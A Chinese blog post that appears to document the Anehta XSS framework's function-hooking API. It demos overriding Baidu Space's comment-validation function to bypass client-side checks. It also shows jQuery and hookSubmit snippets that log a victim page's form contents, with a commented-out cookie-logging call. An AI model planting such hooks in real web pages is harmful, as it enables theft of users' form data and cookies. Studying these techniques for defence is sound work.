Anehta — hook任意javascript函数

作者:

其实,JS中最简单的hook是直接重载目标函数。在之前提到的“JSON Hijacking”中就是使用的这种方法。

简单来说,就是把目标函数重新定义一遍,这样就会覆盖掉原来的函数,当函数执行时,就会跑去执行新的函数了。

但是这种方法效率不高,且通用性不好,所以我在Anehta 中重新实现了一次通用的hook函数。

Anehta 中的hook方法包括三个:hook、unhook、injectFn

使用方法是:

var hj = new anehta.inject.hookFunction();

var SaveTarget, HookFn;

hj.hook(‘Target’, ‘SaveTarget’, ‘HookFn’);

hj.injectFn(‘Target’, ‘SaveTarget’, ‘HookFn’);

hj.unhook(‘Target’, ‘SaveTarget’);

实际上我在 base.js 中已经定义好了一个变量
var anehtaHook = new anehta.inject.hookFunction();

所以在模块中使用hook方法,只需要直接调用 anehtaHook.hook(); 就可以了。

在上面的代码中,Target 是要hook的函数名字,比如目标函数是这么定义的:
function Function1(){
……
return;
}

那么Target 就是 ‘Function1’

SaveTarget 是保存原函数。就是说把hook前的函数保存到 SaveTarget 中。

HookFn 就是要插入的函数名称,比如要在Function1里面插入一个函数test
function test(){
……
}

那么HookFn 就是 ‘test’

这三个函数的区别是:
hook() 会把原来传入参数传递给 HookFn 函数,然后HookFn 处理完成后,需要返回一个 Array 类型的值,这个Array类型的值,会作为新的参数传递给被hook的函数 Target.

injectFn()不会传递参数给被Hook的函数,他只做自己的事情。

这两个函数都是在原函数执行前执行。如果你需要传递新的参数给原函数,请选用hook()

unhook() 则是把被hook的函数恢复到hook前的状态。

以百度空间为例,在检查用户评论时,百度使用了如下函数

function checktext(textid)
{
document.getElementById(textid).value=trimlr(textid);
var str=trimrn(textid);
len=str.length;
if(len==0 || ((/^[\s, ]+$/gi).test(str)) )
{
showErr(3,”您必须输入评论内容,请检查。”);
return false;
}
else
{
if(len>1000)
{
showErr(3,”您输入的评论内容太长,请保持在500字以内。”);
return false;
}
return true;
}
}

那么我们要hook这个函数,就可以如下做:

function test(a,b,c,d,e){
alert(“Hooked!”);

var ret = new Array(“anehtaTestHook”);
return ret;

}

// 保存原函数
var _function1;

anehtaHook.hook(‘checktext’, ‘_function1’, ‘test’);

这样原来的checktext()函数执行前,就会去执行我们的test()函数,然后test()函数把结果作为参数传递给checktext()函数。

正常情况下,如果我们不输入任何评论内容,则checktext函数会报错:

在我们hook后,可以发现先执行了hook的函数

注意此时评论还是为空,但是我们接下来却由于 test() 函数传递了一个参数给 checktext() 函数,使得该函数认为我们的评论是不为空的,从而绕过了检查,直接向服务器提交。

到这一步,已经可以证明绕过了checktext()函数的检查了。为什么会出错?因为表单提交是提交的input框的内容,而我们只hook了chectext函数,却并没有去修改表单里的内容,所以正常表单提交还是为空的。

以上只是一个简单的POC,来演示hook的使用方法。

anehtaHook.hook() 是针对javascript函数的,甚至可以hook一些内置的javascript函数,比如 alert()、eval()、escape() 等等。

hook函数和绑定事件还是有所区别的。

表单的hook和一般函数的hook略有区别。表单的hook一般是绑定表单的onsubmit事件,如果是通过函数去提交表单,则也可以通过hook函数的方法来解决。

/module/hook.js 里,我演示了几种不同的方法hook表单。

前面两种是直接使用jQuery 绑定事件的方法。

第一种,如果form没有设置onsubmit事件,则直接绑定一个submit事件过去

$(“form”).bind(“submit”,
function(){ anehta.logger.logForm($(“form”)[0]); }
);

第二种,直接绑定函数到submit事件
$(“form[name=’form1′]”).eq(0).submit(function(){
anehta.logger.logForm($(“form[name=’form1′]”)[0]);
//anehta.logger.logCookie();
//return true;
}
);

第三种,如果对方是通过函数提交,anehta中除了提供上面说到的通用hook外,专门针对表单hook还可以使用以下API:
function injectSubmitFunc(o, param){
// your code here!
alert(param);
anehta.logger.logForm($(“form”)[0]);

// 最后记得恢复表单的正常提交
if (o._submit != undefined) {
o._submit(); // 被hook过了
} else {
o.submit();
}

}

anehta.inject.hookSubmit($(“form”)[0], function (){injectSubmitFunc($(“form”)[0], “fvck”);});

相关日志

楼被抢了 2 层了... 抢座Rss 2.0或者 Trackback

发表评论